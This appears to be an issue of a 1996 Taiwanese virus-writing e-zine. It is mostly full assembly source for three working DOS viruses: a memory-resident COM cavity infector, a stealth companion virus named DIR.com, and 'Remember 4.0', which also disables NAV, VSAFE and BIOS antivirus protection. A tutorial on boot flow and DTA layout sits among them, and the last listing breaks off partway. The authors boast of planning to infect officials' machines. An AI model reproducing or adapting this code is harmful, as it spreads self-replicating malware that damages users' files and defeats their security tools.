====================== beginning of copyins.asm ========================
include structs.h ; 此 header file 我放了许多有用的结构
vir_size equ offset vir_end-offset start ; 病毒在档案中的 size
vir_mem_size equ offset vir_mem_end-offset start ; 病毒在计忆体的 size
vir_para_size equ (vir_mem_size+0fh)/10h ; 病毒在计忆体的 size (para)
.model tiny
.code
org 0
start:
xor bx,bx ; 这一段开始到 sti 的程式
mov si,sp ; 都是取病毒偏移...
cli ; 也算是蛮特别的方法吧...
get_ofs: pop ax ; 自己想想看我是怎么做到的? :)
xchg ah,bh
push ax
dec sp
pop ax
xchg ah,bh
push ax
jmp $+2
stop_point label word
jmp get_ofs
pop ax
xchg ah,bh
push ax
sub sp,offset stop_point-offset start
xchg si,sp
sti
mov cx,vir_size
push cx
int2a_point: int 2ah ; ax = cs:stop_point, TSR check
mov ah,52h ; 取第一个 MCB 位址
int 21h
mov ds,es:[bx-2]
xor di,di
search_last_mcb:cmp byte ptr ds:mcb_sign[di],4dh ; 判断是否为最后一
je next_mcb ; 个 MCB
cmp byte ptr ds:mcb_sign[di],5ah
jne last_mcb
next_mcb: mov dx,ds:mcb_para_size[di] ; 计算下一个 MCB 位址
mov ax,ds
add dx,ax
inc dx
mov ds,dx
jmp search_last_mcb
last_mcb: mov ds,ax ; ds = ax = 最后一个 MCB
mov bx,vir_para_size
cmp ds:mcb_para_size[di],bx ; MCB 是否够大?
jb run_host
sub ds:mcb_para_size[di],bx ; 帮 MCB 减肥以空出空间
add ax,ds:mcb_para_size[di] ; 计算所空出空间的位址
inc ax
mov es,ax
push si
rep movs byte ptr es:[di],cs:[si] ; 搬家 :)
pop si
mov ds,cx ; ds = cx = 0
mov ax,offset int2a ; 拦 int 2ah
xchg ax,ds:[2ah*4]
stosw
mov ax,es
xchg ax,ds:[2ah*4+2]
stosw
run_host: push cs cs ; 执行原档案
pop ds es
pop cx
mov di,100h-2 ; di = 100h - 2 = 0feh
push di
mov ax,0aaf3h ; word [0feh] = 0aaf3h = rep stosb
; rep stosb 是要将我们的病毒码填回 0
stosw
mov al,0c3h ; 填回原档案前 3 bytes
host_code1 equ byte ptr $-1
stosb
mov ax,0
host_code2 equ word ptr $-2
stosw
mov di,si
ret ; jmp to 0feh

int2a: cmp ax,0ebh+100h*(offset get_ofs-offset stop_point-2)
; TSR check
jne not_my_sister
pop ax
; 改返回位址到 run_host 执行原档
add ax,offset run_host-(offset int2a_point+2)
push ax
iret
not_my_sister: push ax bx cx dx si di ds es
cmp ah,82h ; 为何要比较是否为 82h? 请看下面的
jne int2a_exit_ ; 附录与其注解便可明白
cmp bl,40h*2 ; 一样... 请看附录
jne int2a_exit_
mov ax,1218h
int 2fh ; 取得 int 21h 呼叫者的堆叠 (请看附录)
; ds:si = dos caller stack
mov ax,1220h
mov bx,ds:dcs_bx[si] ; bx = 档案代码
int 2fh ; 取 JFT
mov ax,1216h
mov bl,es:[di]
int 2fh ; 取 SFT
mov cx,ds:dcs_cx[si] ; 得所欲写入资料的大小
cmp cx,vir_size+3 ; 太小?
jbe int2a_exit_ ; 则不感染
mov bx,ds:dcs_dx[si]
mov si,ds:dcs_ds[si]
; si:bx = ds:dx = 指向欲写入的资料
push es
pop ds
test byte ptr ds:sft_dev_attr[di],80h ; 比较档案或设备?
jnz int2a_exit_
cmp byte ptr ds:sft_ext[di],'C' ; 比较副档名是否为 COM
jne int2a_exit_
cmp word ptr ds:sft_ext[di+1],'MO'
jne int2a_exit_
mov ax,word ptr ds:sft_seek_point[di]
cwd ; dx = 0 (if ax < 8000h)
or ax,word ptr ds:sft_seek_point[di+2]
jnz int2a_exit_ ; 档案读写指标是否为 0?
mov di,bx
mov es,si ; es:di = si:bx = 指向欲写入的资料
; 寻找连续且足够的 0
search_zero: inc dx ; 假设找到一个 0
scasb ; 是否为 0?
je zero
cwd ; 不是则把 dx 清为 0
zero: cmp dx,vir_size ; 是否已经有足够的 0?
jae enogh_zero ; 是的话就感染吧
loop search_zero ; 不够... 继续比较下一 byte
jmp int2a_exit_ ; 唉... 今生无缘感染你!!!
; 希望来世...
enogh_zero: push cs
pop ds
xchg si,ax ; si = ax = 0
mov al,0e9h ; al = 0e9h = opcode of jmp near
xchg al,es:[bx] ; 更改第一 byte
mov ds:host_code1,al ; 存起来
sub di,dx ; 计算 jmp 的偏移
lea ax,[di-3]
sub ax,bx
xchg ax,es:[bx+1] ; 更改第二个 word
mov word ptr ds:host_code2,ax ; 存起来
mov cx,dx ; cx = dx = vir_size
rep movsb
int2a_exit_: pop es ds di si dx cx bx ax
int2a_exit: db 0eah
vir_end: dw ?,?
vir_mem_end:
end start
====================== end of copyins.asm ==============================
====================== beginning of structs.asm ========================
; 一些有用的 struc
sft struc
sft_users dw ?
sft_mode dw ?
sft_attr db ?
sft_dev_attr dw ?
sft_dpb_ptr dd ?
sft_1st_clust dw ?
sft_time dw ?
sft_date dw ?
sft_size dd ?
sft_seek_point dd ?
sft_rel_clust dw ?
sft_abs_clust dw ?
sft_dir_sect dw ?
sft_dir_entries db ?
sft_name db 8 dup(?)
sft_ext db 3 dup(?)
sft_shr_sft_ptr dd ?
sft_shr_mchn_num dw ?
sft_psp_seg dw ?
sft_shr_rec_ofs dw ?
sft_last_rw_clust_no dw ?
sft ends
exe_header struc
eh_sign dw ?
eh_sect_mod dw ?
eh_sects dw ?
eh_rels dw ?
eh_header_para dw ?
eh_min_mem_para dw ?
eh_max_mem_para dw ?
eh_ss dw ?
eh_sp dw ?
eh_checksum dw ?
eh_ip dw ?
eh_cs dw ?
eh_1st_rel dw ?
eh_ovl_num dw ?
db 32 dup(?)
eh_neh_ofs dd ?
exe_header ends
new_exe_header struc
neh_sign dw ?
neh_linker_ver dw ?
neh_entry_tb_ofs dw ?
neh_entry_tb_size dw ?
neh_crc dd ?
neh_prog_flags db ?
neh_app_flags db ?
neh_auto_data_seg_index dw ?
neh_init_loc_heap_size dw ?
neh_init_stack_size dw ?
neh_ip dw ?
neh_cs dw ?
neh_sp dw ?
neh_ss dw ?
neh_seg_count dw ?
neh_mod_ref_count dw ?
neh_nresid_name_size dw ?
neh_seg_tb_ofs dw ?
neh_resrc_tb_ofs dw ?
neh_resid_name_tb_ofs dw ?
neh_mod_ref_ofs dw ?
neh_import_name_tb_ofs dw ?
neh_nresid_name_tb_ofs dd ?
neh_movable_entry_count dw ?
neh_align_shift dw ?
neh_resrc_tb_entry_count dw ?
neh_opert_system db ?
neg_exe_flags db ?
neg_ret_thunk_ofs dw ?
neh_seg_ref_thunk_ofs dw ?
neh_mini_code_swap_size dw ?
neh_expect_win_ver dw ?
new_exe_header ends
sys_header struc
sh_next_ptr dd ?
sh_attr dw ?
sh_strat dw ?
sh_int dw ?
sh_name db 8 dup(?)
sys_header ends
dos_caller_stack struc
dcs_ax dw ?
dcs_bx dw ?
dcs_cx dw ?
dcs_dx dw ?
dcs_si dw ?
dcs_di dw ?
dcs_bp dw ?
dcs_ds dw ?
dcs_es dw ?
dcs_ip dw ?
dcs_cs dw ?
dcs_flags dw ?
dos_caller_stack ends
dir struc
dir_drive db ?
dir_name db 8 dup(?)
dir_ext db 3 dup(?)
dir_attr db ?
db 10 dup(?)
dir_time dw ?
dir_date dw ?
dir_start_clust dw ?
dir_size dd ?
dir ends
find struc
find_drive db ?
find_find_name db 8 dup(?)
find_find_ext db 3 dup(?)
find_find_attr db ?
find_entry_count dw ?
find_dir_1st_clust dw ?
db 4 dup(?)
find_attr db ?
find_time dw ?
find_date dw ?
find_size dd ?
find_name db 13 dup(?)
find ends
mcb struc
mcb_sign db ?
mcb_onwer_seg dw ?
mcb_para_size dw ?
db 3 dup(?)
mcb_name db 8 dup(?)
mcb ends
pcb struc
pcb_env_var_seg dw ?
pcb_parameter_ptr dd ?
pcb_fcb1_ptr dd ?
pcb_fcb2_ptr dd ?
pcb_sp dw ?
pcb_ss dw ?
pcb_ip dw ?
pcb_cs dw ?
pcb ends

boot_sector struc
bs_jmp db 3 dup(?)
bs_oem_name db 8 dup(?)
bs_sector_size dw ?
bs_clust_sectors db ?
bs_reserved_sectors dw ?
bs_fat_count db ?
bs_root_dir_entries dw ?
bs_sectors dw ?
bs_media_id db ?
bs_fat_sectors dw ?
bs_track_sectors dw ?
bs_heads dw ?
bs_hidden_sectors dd ?
bs_ext_sectors dd ?
bs_drive_count db ?
db ?
bs_boot_sign db ?
bs_id dd ?
bs_label db 11 dup(?)
bs_fat_type db 8 dup(?)
boot_sector ends
partition_table struc
pt_active_id db ?
pt_boot_head db ?
pt_boot_sector db ?
pt_boot_track db ?
pt_system_id db ?
pt_last_head db ?
pt_last_sector db ?
pt_last_track db ?
pt_first_sect_no dd ?
pt_sectors dd ?
partition_table ends
====================== end of structs.asm ==============================
<附录> DOS 的 int 21h 开始程式码
FDC8:40F8 FA CLI
FDC8:40F9 80FC6C CMP AH,6C
FDC8:40FC 77D2 JA 40D0
FDC8:40FE 80FC33 CMP AH,33
FDC8:4101 7218 JB 411B
FDC8:4103 74A2 JZ 40A7
FDC8:4105 80FC64 CMP AH,64
FDC8:4108 7711 JA 411B
FDC8:410A 74B5 JZ 40C1
FDC8:410C 80FC51 CMP AH,51
FDC8:410F 74A4 JZ 40B5
FDC8:4111 80FC62 CMP AH,62
FDC8:4114 749F JZ 40B5
FDC8:4116 80FC50 CMP AH,50
FDC8:4119 748E JZ 40A9
FDC8:411B 06 PUSH ES ; 这边所 push 的暂存器 (也就是 call
FDC8:411C 1E PUSH DS ; int 21h 所用的暂存器), 可用
FDC8:411D 55 PUSH BP ; ax=1218h/int 2fh 取得
FDC8:411E 57 PUSH DI
FDC8:411F 56 PUSH SI
FDC8:4120 52 PUSH DX
FDC8:4121 51 PUSH CX
FDC8:4122 53 PUSH BX
FDC8:4123 50 PUSH AX ; 当我们呼叫 ax=1218h/int 2fh 后,
; ds:si 等于此时 (push ax 完后) 的 ss:sp
FDC8:4124 8CD8 MOV AX,DS
FDC8:4126 2E CS:
FDC8:4127 8E1EE73D MOV DS,[3DE7]
FDC8:412B A3EC05 MOV [05EC],AX
FDC8:412E 891EEA05 MOV [05EA],BX
FDC8:4132 A18405 MOV AX,[0584]
FDC8:4135 A3F205 MOV [05F2],AX
FDC8:4138 A18605 MOV AX,[0586]
FDC8:413B A3F005 MOV [05F0],AX
FDC8:413E 33C0 XOR AX,AX
FDC8:4140 A27205 MOV [0572],AL
FDC8:4143 F606301001 TEST BYTE PTR [1030],01
FDC8:4148 7503 JNZ 414D
FDC8:414A A33E03 MOV [033E],AX
FDC8:414D FE062103 INC BYTE PTR [0321]
FDC8:4151 89268405 MOV [0584],SP
FDC8:4155 8C168605 MOV [0586],SS
FDC8:4159 A13003 MOV AX,[0330]
FDC8:415C A33C03 MOV [033C],AX
FDC8:415F 8ED8 MOV DS,AX
FDC8:4161 58 POP AX ; 取出 ax
FDC8:4162 50 PUSH AX ; push 回去
FDC8:4163 89262E00 MOV [002E],SP
FDC8:4167 8C163000 MOV [0030],SS
FDC8:416B 2E CS:
FDC8:416C 8E16E73D MOV SS,[3DE7]
FDC8:4170 BCA007 MOV SP,07A0
FDC8:4173 FB STI
FDC8:4174 8CD3 MOV BX,SS
FDC8:4176 8EDB MOV DS,BX
FDC8:4178 93 XCHG BX,AX ; bx = ax
FDC8:4179 33C0 XOR AX,AX
FDC8:417B 36 SS:
FDC8:417C A2F605 MOV [05F6],AL
FDC8:417F 36 SS:
FDC8:4180 812611060008 AND WORD PTR [0611],0800
FDC8:4186 36 SS:
FDC8:4187 A25703 MOV [0357],AL
FDC8:418A 36 SS:
FDC8:418B A24C03 MOV [034C],AL
FDC8:418E 36 SS:
FDC8:418F A24A03 MOV [034A],AL
FDC8:4192 40 INC AX
FDC8:4193 36 SS:
FDC8:4194 A25803 MOV [0358],AL
FDC8:4197 93 XCHG BX,AX ; ax = bx
FDC8:4198 8ADC MOV BL,AH ; bl = ah (function call number)
FDC8:419A D1E3 SHL BX,1 ; bx = ah * 2
FDC8:419C FC CLD
FDC8:419D 0AE4 OR AH,AH
FDC8:419F 7417 JZ 41B8
FDC8:41A1 80FC59 CMP AH,59
FDC8:41A4 7444 JZ 41EA
FDC8:41A6 80FC0C CMP AH,0C
FDC8:41A9 770D JA 41B8
FDC8:41AB 36 SS:
FDC8:41AC 803E200300 CMP BYTE PTR [0320],00
FDC8:41B1 7537 JNZ 41EA
FDC8:41B3 BCA00A MOV SP,0AA0
FDC8:41B6 EB32 JMP 41EA
FDC8:41B8 36 SS:
FDC8:41B9 A33A03 MOV [033A],AX
FDC8:41BC 36 SS:
FDC8:41BD C606230301 MOV BYTE PTR [0323],01
FDC8:41C2 36 SS:
FDC8:41C3 C606200300 MOV BYTE PTR [0320],00
FDC8:41C8 36 SS:
FDC8:41C9 C6062203FF MOV BYTE PTR [0322],FF
FDC8:41CE 50 PUSH AX
FDC8:41CF B482 MOV AH,82 ; ah = 82h
FDC8:41D1 CD2A INT 2A ; int 2ah 在这里我们病毒取得控制权
FDC8:41D3 58 POP AX
FDC8:41D4 36 SS:
FDC8:41D5 C606580300 MOV BYTE PTR [0358],00
FDC8:41DA BC2009 MOV SP,0920
FDC8:41DD 36 SS:
FDC8:41DE F6063703FF TEST BYTE PTR [0337],FF
FDC8:41E3 7405 JZ 41EA
FDC8:41E5 50 PUSH AX
FDC8:41E6 E8974E CALL 9080
FDC8:41E9 58 POP AX
FDC8:41EA 2E CS:
FDC8:41EB 8B9F9E3E MOV BX,[BX+3E9E]
FDC8:41EF 36 SS:
FDC8:41F0 871EEA05 XCHG BX,[05EA]
FDC8:41F4 36 SS:
FDC8:41F5 8E1EEC05 MOV DS,[05EC]
FDC8:41F9 36 SS:
FDC8:41FA FF16EA05 CALL [05EA]
FDC8:41FE 36 SS:
FDC8:41FF 80268600FB AND BYTE PTR [0086],FB
FDC8:4204 FA CLI
FDC8:4205 2E CS:
FDC8:4206 8E1EE73D MOV DS,[3DE7]
FDC8:420A 803E850000 CMP BYTE PTR [0085],00
FDC8:420F 7527 JNZ 4238
FDC8:4211 FE0E2103 DEC BYTE PTR [0321]
FDC8:4215 8E168605 MOV SS,[0586]
FDC8:4219 8B268405 MOV SP,[0584]
FDC8:421D 8BEC MOV BP,SP
FDC8:421F 884600 MOV [BP+00],AL
FDC8:4222 A1F205 MOV AX,[05F2]
FDC8:4225 A38405 MOV [0584],AX
FDC8:4228 A1F005 MOV AX,[05F0]
FDC8:422B A38605 MOV [0586],AX
FDC8:422E 58 POP AX
FDC8:422F 5B POP BX
FDC8:4230 59 POP CX
FDC8:4231 5A POP DX
FDC8:4232 5E POP SI
FDC8:4233 5F POP DI
FDC8:4234 5D POP BP
FDC8:4235 1F POP DS
FDC8:4236 07 POP ES
FDC8:4237 CF IRET
--
OvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvel
v v
e 台湾威力病毒研究组织 第 四 期 杂志 P.002 e
l [病毒] l
O O
v DIR 会不会使电脑中毒? Zhugh Jin v
e E-Mail: None e
l l
OvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvel
(Dark Killer 说明: 金蝉在投稿时 TPVO 尚未改组为 OVEL,TP , 因此这
只毒所用的 Mark 仍为 TPVO...)
嗨! 各位!
放假是一件非常爽的日子! You know ? 不! 你们是不能了解的
啦!
话说啦... 某天我在马公市的电玩店里闲晃...店里面 20 几部
的电脑, 所用的系统是 DOS/V 6.22 ! 里面的 games 都是破解
版咧... (嘿! 该死的家伙! 天意要他们栽在我手里! 嘻!) 但
里面的 dos 指令都被改掉了, 如: dir -> di_、copy -> cop_
害我搞了半天 dos 一直给我 Bad command or filename 这个
讯息... so... 我『鸟』大了... 干个 masm 在里面大搞特搞,
就搞出这个玩意了... 嗯! 嘻... 改天送只毒给连上的狗官,玩
死他们... 呵... ;)
这只毒基本上是一只伴随型病毒! 以往的伴随型病毒大都是将
.exe 再建个同档名的 .com 档... 可是我如果将 command.com
中的 dir 改成 di_ ! 然后再将目录里藏个 dir.com 的隐藏档
, 如此一来就可以达成我想要做的事啦! 嘿!
附带一提的是, 以往我们理直气壮的说 "下 dir 指令不会中毒!
" 如今可要好好深思罗... ;)
Zhuge Jin
;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
; This is [DIR.com] virus TPVO
; by Golden Cicada at Makung, 1996.
;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
.286
.model tiny
.code
org 0000h
vir_start:
;::::::::::::::::::::::::::::
;: 篡改 command.com 的部份 ::
;: (省略)将 command.com 中 ::
;: 的 dir 改成 di_ ! ::
;::::::::::::::::::::::::::::
mov si,0100h
xor bx,bx
mov ds,bx
mov bl,21h*04h
mov ax,OFFSET vint21h+0100h
xchg ax,ds:[bx]
mov cs:[si+OFFSET oint21h_ip],ax
mov ax,cs
xchg ax,ds:[bx+02h]
mov cs:[si+OFFSET oint21h_cs],ax
cli
mov sp,OFFSET vir_end+0100h
sti
mov ah,4ah
mov bx,OFFSET vir_end+0110h
shr bx,04h
int 21h
push cs
pop ds
mov si,0080h
lodsb
cbw
mov cx,ax
add al,04h
mov ds:cl1+0100h,al
mov di,OFFSET cl2+0100h
cld
repz movsb
mov si,OFFSET cl1+0100h
int 2eh
mov ax,cs
dec ax
mov es,ax
mov cx,0007h
mov di,0008h
mov si,OFFSET pro_name+0100h
repz movsb
xor ax,ax
stosb
push cs
pop es
mov dx,OFFSET vir_end+0100h
int 27h
stealth1:
push bx
mov bx,dx
cmp byte ptr ds:[bx],0ffh
jnz stealth_noex
test byte ptr ds:[bx+06h],02h
jz stealth_noex
xor byte ptr ds:[bx+06h],02h
stealth_noex:
pop bx
jmp short dos_int21h
stealth2:
test cl,02h
jz stealth_ext
xor cl,02h
stealth_ext:
jmp short dos_int21h
vint21h:
pushf
cmp ah,11h
jz stealth1
cmp ah,4eh
jz stealth2
cmp ah,3bh
jz infect
dos_int21h:
popf
jmp dword ptr cs:[OFFSET oint21h_ip+0100h]
int21h:
pushf
call dword ptr cs:[OFFSET oint21h_ip+0100h]
ret
infect:
push ax
push bx
push cx
push dx
push di
push si
push ds
push es
xor bx,bx
mov es,bx
push word ptr es:[bx+24h*04h]
push word ptr es:[bx+24h*04h+02h]
push bx
push es
mov word ptr es:[bx+24h*04h],OFFSET vint24h+0100h
mov word ptr es:[bx+24h*04h+02h],cs
push cs
pop es
mov di,OFFSET buffer+0100h
mov si,dx
mov ah,60h
call int21h
jc vint21h_ext
cld
find_zero:
cmp byte ptr es:[di],00h
jz fz_a1
inc di
jmp find_zero
fz_a1:
mov al,'\'
cmp byte ptr es:[di-01h],al
jz fz_a2
stosb
fz_a2:
push cs
pop ds
mov si,OFFSET vir_name+0100h
mov cx,0008h
repz movsb
mov ah,5bh
mov cx,0002h
mov dx,OFFSET buffer+0100h
call int21h
jc vint21h_ext
push cs
pop ds
xchg bx,ax
mov ah,40h
mov cx,OFFSET vir_end-OFFSET vir_start
mov dx,OFFSET vir_start+0100h
call int21h
mov ah,3eh
call int21h
vint21h_ext:
pop es
pop bx
pop word ptr es:[bx+24h*04h+02h]
pop word ptr es:[bx+24h*04h]
pop es
pop ds
pop si
pop di
pop dx
pop cx
pop bx
pop ax
jmp dos_int21h
vint24h:
xor al,al
iret
oint21h_ip dw ?
oint21h_cs dw ?
pro_name db 'COMMAND'
vir_name db 'DIR.COM',00h
cl1 db 03h,'VER '
cl2 db 0dh
buffer db 0100h dup(?)
vir_end:
end vir_start
--
OvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvel
v v
e 台湾威力病毒研究组织 第 四 期 杂志 P.003 e
l [病毒] l
O O
v 病毒教学指南 (开机、DTA) Min Jean v
e E-Mail: ovel.bbs@ntu.edu.tw e
l l
OvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvel
从没写过教学文章的我, 这次不知为何有这种兴致, 所以就写了这些基本的
常识, 嘻嘻....希望这篇文章不会对你太难才好, 我已经写得非常非常的简单了
, 若你再不能理解的话, 我就没有办法喽...:)

■ 以下是电脑整个系统的开机流程图:
总共有三个程序BIOS & partition/boot & DOS
其中 partition/boot 程序为我没标示的那一段, 因为没有地方标示..
希望对大家有所帮助, 若无任何助益, 就当作是在了解你常常作的reboot 程序:)

---+--- ┌────────────┐
| │ reboot │
| └─────┬──────┘
| ┌─────┴──────┐
| │ 进行系统初始化与测试 │
| └─────┬──────┘
BOIS 程序 ┌─────┴──────┐
| │寻找并执行附加 ROM 程式 │
| └─────┬──────┘
| ┌─────┴──────┐
| │ bios post 执行 int 19h │
| └─────┬──────┘
---+--- ┌─────┴──────┐
┌───┤ int 19h load boot ├───┐
│ └────────────┘ │
┌─────┴──────┐ have H.D -> ┌─────┴──────┐
│ Floopy ├───────┤ Hard Disk │
│ load & run boot ├───────┤ load & run boot │
└──┬──────┬──┘<- None H.D └─┬─────────┬┘
┌───┴───┐ │ ┌────┴───┐ ┌───┴───┐
│ Run int 18h │ └─────┬─┤load & run boot │ │ Run int 18h │
└───────┘ │ └────────┘ └───────┘
---+--- ┌─────┴──────┐
| │ boot load & run io.sys │
| └─────┬──────┘
| ┌──────┴───────┐
| │io.sys load & rnu msdos.sys │
| └──────┬───────┘
| ┌───────┴────────┐
| │msdos.sys load & run config.sys │
DOS 程序 └───────┬────────┘
| ┌─────┴──────┐
| │ load & run command.com │
| └─────┬──────┘
| ┌─────┴──────┐
| │ load & run autoexec.bat│
| └─────┬──────┘
| ┌─────┴──────┐
| │ok. 完成开机程序了....:)│
---+--- └────────────┘
看完了流程图, 是否有更深入的了解 reboot 所作的动作了呢??

■ 好了, 现在让我们来看看partition & boot 磁区:
bios 中的中断服务程式int 19h 读取第一部软碟的第0磁轨第0磁面第1磁区,
或读取第一部硬碟的第0磁柱,第0磁面,第1磁区, 并将控制权交到磁区上的程式。
现在再来纠正大家一些基本观念, 软碟上的第一个实际磁区的存放著boot 程式,
所以读进的就是boot 程式, 但是硬碟呢? 呵呵..就不是这样喽,硬碟的第一个
实际磁区并非是存放著boot 程式, 而是partition 磁区, 内含load_boot 程式
及1~4栏的partition table, 所以当有硬碟存在时 int 19h 所读到的并不是
boot 程式, 而是一个load_boot 程式, 经由lood_boot 参照同一磁区的parti-
tion table 内的资料, 找到硬碟的boot 磁区, 再取读boot 磁区,并将控制权
转交给boot 程式, 才完成load boot。
看完了partition & boot 基本观念后, 是否纠正了你一些错误的观念呢??
若没有, 那就代表你的观念非常的正确, 请继续保持..:)
以后若有人问你fdisk /mbr 是作什么的, 你能正确回答了吗??
ok, 就先为基本的介绍到此告一个段落, 至于partition & boot 结构, 请参考
前几期杂志。
■ 最后再来告诉大家int n 在向量表中的起始位址和cs:ip 位址:
你可以作一个实验..
debug
-a
xxxx:xxxx int 21
-d
-q
显示的结果中你会发现int 21 变为cd21
嗯, 再来作一次
debug
-a
xxxx:xxxx int 13
-d
-q
哦, 这次的int 13 变为cd13 !
你是否有发觉有什么共同点吗??
没错, int 都变为cd 而中断n 还是没变...但这不是最重要的, 主要的是他们都
各占四个位元组, 这样你就能依照这个推出一套公式:
int n 存放位址 = 4 * n 这样你懂了吧?? 我想你会懂的..:)
好了, 在你了解int n的中断向量表起始位址, 也知道int n 他们各占四个位元组
, 那你有没有想过这四个位元组代表什么??
现在就来告诉大家这四个位元组的意义, 其实他就代表中断程式所在的记忆体位址
[offset low byte] [offset high byte] [segment low byte] [segment high byte]
由上面我们又可以再推出各个位元组的公式:
int n [offset low byte] = ip low byte = (4 * n)
int n [offset high byte] = ip high byte = (4 * n + 1)
int n [segment low byte] = cs low byte = (4 * n + 2)
int n [segment high byte] = cs high byte = (4 * n + 3)
因此我们可以由上面得证
int n 的 cs:ip = (4*n+3 4*n+2 : 4*n+1 4*n)
这样,你就晓得要怎么算了吧...:)
哦..对了, 忘了告诉大家「先offset 而后 segment 且先高位元 而后 低位元」哦 !
■ DTA (Disk Transfer Area) information ■
常常看到病毒使用DTA 而不知道DTA 到底是什么?
现在DTA 的资料就在眼前, 不用我告诉你怎么用吧??
呵呵...DTA 可好用的很呢, 动动脑子吧..:)
====================================================
Offset Size Contents
====================================================
00 Byte Drive letter
01-0B Bytes Search template
0C-14 Bytes Reserved
15 Byte File attribute
16-17 Word File time
18-19 Word File date
1A-1D DWord File size
1E-3A Bytes ASCIIZ filename + extension
====================================================

■ 结束 ■
看完了本篇的基本介绍, 有得到些什么吗??
呵呵....好好的学习吧..:)
OvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvel
v v
e 台湾威力病毒研究组织 第 四 期 杂志 P.004 e
l [病毒] l
O O
v Remember 4.0 Min Jean v
e E-Mail: ovel.bbs@ntu.edu.tw e
l l
OvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvel
; //////////////////////////////////////////////////////
;
; 终于考完试了, 利用这几天将注解写了写.
; 此毒继以往作风, 不常驻, 只感染COM........
; 本版最大特色是加入了Disable NAV & VSAFE & BIOS AV
; 至于是如何作到的呢, 看看下面的程式, 就能了解啦...
; 好啦, 废话不多话, 慢慢研究吧, 不懂就翻翻书...
; 最后要说的是"有本事-自己写一个, 没本事-多多看书
; ,不要作梦" 就这样啦, 慢慢研究吧...:)
;
; //////////////////////////////////////////////////////
; This is source code of [ Remember 4.0 ]
; Written by Jean at OVEL, Tanwan Power
; 1996.06.02
;

id_word equ 'rE'
code segment
assume cs:code,ds:code,es:code
.286
.radix 16
org 0100h
start:
nop
nop
nop
nop
nop
vir_start:
mov bp,sp ; anti-trace and
cli ; anti-tbclean.
xor sp,sp
mov sp,bp
sti
go:
int 01h
int 03h
call begin ; 这里就是...我也不知道..嘻
begin:
pop bp
sub bp,offset begin ;bp=bp-begin
mov ax,0fe02h ;disable_NAV
mov si,4e41h ;
mov di,4e55h ;
int 2fh ;
mov ax,0fa01h ; 呵呵呵...这招实在是在作什么的呢, 就是
mov dx,5945h ; disable vsafe , 至于怎么作到的, 看看中
int 16h ; 断是用int 16h 就知道原理啦..:)
mov ah,13h
int 2fh ; 取 int 13h 原始进入点
mov cs:bios_int13,dx
mov cs:bios_int13[2],ds
int 2fh
check_av_cmos: ; 以下这段程式应该只对 AMIBIOS 有效
; 因为我的bios 是ami 的.
; 以下这段若你不了解的话,请trace 看看,你就晓得是在作什么
; PS_1 必需是在av 功能打开后才能发挥下面这段程式的功能.:)
; 若没有打开的话就直接跳到 show 的地方继续执行..
; PS_2 若不了解in/out 请自行查书
mov dx,70
mov al,34
out dx,al
inc dx
in al,dx
push ax
and al,80
pop ax
jz get_date ; av 功能没有enable 的话就是跳到喽..
and al,7
out dx,al
dec dx
mov al,3e
out dx,al
inc dx
in al,dx
mov ah,al
mov al,3f
dec dx
out dx,al
inc dx
in al,dx
sub ax,80
out dx,al
mov al,3e
dec dx
out dx,al
inc dx
mov al,ah
out dx,al
jmp get_date
db 6f
get_date:
mov ah,2ah ;get date
int 21h ;
cmp dx,0418h ;check date 04/24
jnz continue ;dx 不等于 0418(04/24) 就跳到continue
;若是继续执行
show:
mov ax,9100h ;
int 10h ;
cmp ax,9100h ;判断记忆体中是否有中文存在
jz no_chinese ;不是就跳喽
mov ax,804eh ;若是在英文模式就切换到中文状态
int 10h ;
mov ah,09h ;show 中文讯息
mov dx,offset msg ;
int 21h ;
jc no_msg
jmp continue
no_chinese:
mov ah,09h ;show 英文讯息
mov dx,offset e_msg ;
int 21h ;
jc no_msg
jmp continue
no_msg:
mov word ptr cs:reg_ax,4c00h
continue:
mov [bp+offset old_ss],ss
xor ax,ax ;
mov ss,ax ;
mov ss,ds:[bp+offset old_ss]
mov ax,3521h ;拦截 int 21
int 21h
mov word ptr [bp+offset oldint21h],bx
mov word ptr [bp+offset oldint21h+0002h],es
push cs
pop es
mov ax,1203h ; 取得原始 int 21h 的节区
int 2fh ;
xor di,di ;
find_int21:
inc di ;
cmp di,0fff8h
jae find_int21_exit
cmp word ptr [di],80fah
jne find_int21
cmp word ptr [di+02h],6cfch
jne find_int21
cmp byte ptr [di+04h],77h
jne find_int21
xchg dx,di ;资料互换
mov ax,2521h ;将int 21 指向自己的 isr 进入点
int 21h
find_int21_exit:
push cs
pop ds
lea si,[bp+offset head_read]
mov di,0100h
cld
movsb
movsw
movsw
mov ah,1ah ;设定新的dta 位址
lea dx,[bp+offset newdta] ;新的dta 起始位址
int 21h
mov ah,47h ;
xor dx,dx ;dx=0
lea si,now_dir[bp] ;将目前的工作路径储存
int 21h ;

search:
mov ah,4eh ;找寻相符的档案
lea dx,[bp+offset findfile] ;找寻*.com 档
int 21h ;
jc no_file ; 若没有相符的档案就离开喽.
infect_it:
call infect
mov ah,4fh ; 承接ah,4eh 继续寻找
int 21h ;
jnc infect_it ; 找到就感染!
mov ah,3bh ; 这个路径的档案都感染完了
lea dx,next_dir[bp] ; 到下个去找 (cd..)
int 21h ;
jnc search ; 已经到了下个路径了, 先再去check 一下
; 若已经到了根目录, 就继续下一行程式
no_file:
mov ah,3bh ; 回到原来的工作路径, 这样就不会被发现
lea dx,now_dir[bp] ; 路径改变过了...:)
int 21h ;
mov ah,1ah ;设定原dta 起始位址
mov dx,0080h ;dta 起始位址
int 21h
mov ax,2521h ;指向自己的int 21
lds dx,dword ptr [bp+offset oldint21h]
int 21h
push cs
pop ds
mov ax,0100h ; 呵呵...完成喽...
push ax ;
ret ;
set_int13: ; 设 int 13h 到原始进入点
mov ax,3513h
int 21h ; 取目前的 int 13h
mov cs:old13,bx ; 保存起来
mov cs:old13[2],es
mov dx,cs:bios_int13
mov ds,cs:bios_int13[2]
mov ax,2513h
int 21h ; 将 int 13h 设到原始进入点
push cs
pop ds
ret
msg db 0dh,0ah,0dh
